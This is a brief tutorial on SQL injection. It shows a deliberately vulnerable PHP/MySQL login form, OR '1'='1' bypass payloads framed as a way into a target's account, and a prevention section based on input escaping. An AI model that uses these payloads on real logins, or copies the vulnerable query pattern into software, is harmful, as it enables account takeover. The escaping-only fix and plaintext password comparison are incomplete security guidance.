SQL Injection

If you are trying to get access to an account of a target and your dictionaries aren’t containing the password, brute force attacks will take to much time and you can’t sniff the important communication, you can possibly get it done with a sql injection.


Precondition
It has to be an interface which communicates with an sql database in the background, like a user login of a website. If you believe this will give you access to user accounts of a Windows-PC or an Android-Phone then you are wrong, cause they work absolutely different.


Realization
Let’s have a look on a very common example, a login on a HTML/PHP website with an MySQL database.

<html>
   <form method=post action="">
      User: <input type=text name="user">
      <br>
      Pass: <input type=text name="pass">
      <input type="submit" name="data">
   </form>
</html>

<?php
   if($_POST['data'])
   {
      $mysqli = new mysqli('hostname', 'db_user', 'db_pass', 'db_name');
      $query = sprintf("SELECT * FROM users WHERE user='%s' AND pass='%s'",
                        $_POST['user'], $_POST['pass']);
      $result = $mysqli->query($query);
      // login the result
   }
?>

With the following pass inputs you can get access to every target you have entered in the user input.

' OR '1'='1
# --> SELECT * FROM users WHERE user=<user> AND pass='' OR '1'='1';

' OR '1'='1' --
# --> SELECT * FROM users WHERE user=<user> AND pass='' OR '1'='1' --';

Prevention
To make sure sql injection isn’t possible via your website interface always escape all the inputs.

<?php
   if($_POST['data'])
   {
      $mysqli = new mysqli('hostname', 'db_user', 'db_pass', 'db_name');
      $query = sprintf("SELECT * FROM users WHERE user='%s' AND pass='%s'",
                        $mysqli->real_escape_string($_POST['user']),
                        $mysqli->real_escape_string($_POST['pass']));
      $result = $mysqli->query($query);
      // login the result
   }
?>